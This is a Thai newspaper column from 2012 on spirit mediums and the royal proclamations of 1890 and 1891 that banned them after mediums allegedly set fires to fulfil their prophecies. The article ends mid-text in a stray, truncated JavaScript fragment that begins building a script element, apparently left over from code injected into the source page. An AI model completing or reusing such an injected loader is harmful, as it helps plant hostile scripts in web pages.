มติชนรายวัน ฉบับประจำวันอังคารที่ 14 กุมภาพันธ์ 2555

 

          คนทรงเจ้าเข้าผี เรียกสั้นๆว่า“คนทรงเจ้า” หรือ“คนทรง” หรือ“ร่างทรง”

          หมายถึง คนที่อ้างว่าใกล้ชิดติดต่อสื่อสารกับเจ้าหรือผีเข้าสิงเพื่อพยากรณ์หรือทำนายทายทักบอกเรื่องดีและร้ายให้คนอื่นเชื่อตามได้ เช่น มีคนคิดล้มเจ้า

          เมื่อเจ้ามาเข้าทรงนั้นเรียกกันว่า“เสด็จลง” หรือ“ลง” ซึ่ง อ. จุลทัศน์ พยาฆรานนท์ อธิบายไว้ในสารานุกรมวัฒนธรรมไทย ภาคกลาง (เล่ม 6 พ.ศ. 2542) ว่า เจ้าหรือผีจะมาแฝงร่างคนทรงอยู่ชั่วเวลาหนึ่ง เพื่อให้ผู้ที่มาพบปะไต่ถามเรื่องราวต่างๆจนเป็นที่พอใจ หรือให้พบทั่วทุกคนที่มาขอพบในที่นั้น จึงจะออกจากร่างคนทรง เรียกว่า“ถอย”บ้าง “ออก”บ้าง หรือ“เสด็จขึ้น”ก็มี

          ความเชื่อเกี่ยวกับการทรงเจ้าเข้าผีนี้ อ. จุลทัศน์ บอกว่าเป็นสิ่งที่ทางราชการไม่ยอมรับและยังห้ามปรามมิให้ผู้คนหลงเชื่อ หรือพลอยเชื่อ ทั้งนี้เนื่องมาแต่คำพยากรณ์หรือการทำนายของเจ้าเข้าทรง บางแห่งเป็นเหตุทำให้เกิดความเชื่อผิดๆ และเกิดความประหวั่นวิตกเกินกว่าเหตุขึ้นในสังคม

          ดังมีประกาศห้ามไทยและจีนทรงเจ้าในที่ต่างๆ จะทำให้เกิดไฟไหม้ เมื่อปี พ.ศ. 2433 ในรัชกาลที่ 5 เพราะมีคนทรงเจ้าคิดอ่านการทุจริตจุดไฟเผาให้สมจริงดังคำทำนายของตน ดังนี้

          “ก่อนที่จะเกิดเพลิงไหม้นี้ มีคนทรงเจ้าบอกเหตุการว่าเพลิงจะไหม้ แล้วเพลิงไหม้สมดังคำคนทรงว่า ครั้นเมื่อเพลิงไหม้แล้ว ก็ยังมีข่าวเจ้าเข้าทรงที่ตำบลโน้น ตำบลนี้ บอกเหตุการว่าเพลิงจะไหม้ตำบลโน้นตำบลนี้ต่อไปอีก จนราษฎรชาวร้านชาวบ้านเป็นที่หวาดหวั่นพากันรักษาบ้านเรือน การซื้อขายก็ไม่เป็นปกติ ——

          ครั้นในเวลาวันนี้เกิดเพลิงไหม้ขึ้นที่ตำบลบางรักอีก แลได้ทรงทราบว่ามีผู้ทิ้งไฟก่อนน่าวันนี้อีกสองตำบล จึ่งทรงพระราชดำริว่า

          การที่เพลิงไหม้ทั้งนี้เป็นที่น่าสงไสยพวกคนทรงที่ทรงเจ้าแลสมักพรรคพวก จะคิดอ่านให้คนนับถือบนบานเพื่อจะหาผลประโยชน์

          ส่วนคนพาลอื่นๆ เห็นเป็นช่องโอกาสที่จะขู่กรรโชกราษฎรให้ตกใจ ด้วยจะคิดหาผลประโยชน์อย่างใดอย่างหนึ่ง ก็พลอยทำการโกหกว่า เจ้าลงทรงตัวบอกข่าวคราวราษฎรไปต่างๆ เมื่อกลัวจะมิสมคำดังว่า ก็คิดอ่านการทุจริตทิ้งไฟประกอบเหตุ

          ตัวอย่างเช่นนี้ได้มีขึ้นในแผ่นดินพระบาทสมเด็จพระนั่งเกล้าเจ้าอยู่หัวครั้งหนึ่ง โปรดให้พิจารณาหาตัวผู้ทิ้งไฟ ประกอบคำเจ้าที่เข้าทรงบอก ได้ตัวพิจารณาเป็นสัตย์ได้ให้ไปประหารชีวิตเสียเป็นตัวอย่างมีมาแล้ว”

          แม้ทางราชการจะห้ามปราม แต่ยังมีหมู่พวกบางเหล่าจัดให้มีทรงเจ้าเข้าผีกันต่อมาอีก ปีถัดมาจึงมีประกาศมิให้ทรงเจ้าเข้าผี ฉบับที่ 2 พ.ศ. 2434 ว่ามีผู้คิดหาผลประโยชน์ ดังนี้

          “มีราษฎรไทยจีนที่ยังคบคิดกันลอบลักเข้าทรงลงเจ้าในหลังบ้านเรือนมีอยู่เนืองๆ คนทรงนั้นแจ้งเหตุล่อลวงทำให้คนตื่นอย่างเช่นเมื่อครั้งก่อนนั้นอีก

          แลการที่ราษฎรบางคนยังขืนประพฤติล่วงประกาศนี้ ก็เป็นไปได้ด้วยมีสันดารเขลาเบาความคิดหลงเชื่อถือคนทรงมีอยู่มาก

          แลทั้งผู้ที่เป็นเจ้าของตึกเจ้าของเรือนเจ้าของโรง ก็ย่อมพากันช่วยอุดหนุนรู้เห็นเป็นใจให้ผู้เป็นคนทรงเข้าลงเจ้า เพื่อคิดหาผลประโยชน์ด้วยกัน จึงปิดบังไว้มิให้ผู้อื่นนอกจากพวกของตัวรู้เห็น”

          อ. จุลทัศน์ สรุปว่า แม้ว่ามีประกาศห้ามไม่ให้คนไทยจีนเข้าทรงลงเจ้าฉบับปี พ.ศ. 2434 แต่ความเชื่อเรื่องการทรงเจ้าเข้าผีก็มิได้เสื่อมถอยลงและหมดไปจากสังคมไทย แม้กระทั่งในสมัยปัจจุบัน

          แต่คนทรงเจ้าบางพวกในทุกวันนี้ “คิดอ่านการทุจริต” เป็นเรื่อง ล้มเจ้า, เนรคุณเจ้า, ฯลฯ “เพื่อจะหาผลประโยชน์” สมดังประกาศสมัยพระพุทธเจ้าหลวงที่ยกมาข้างต้นvar d=document;var s=d.createElement(‘script’);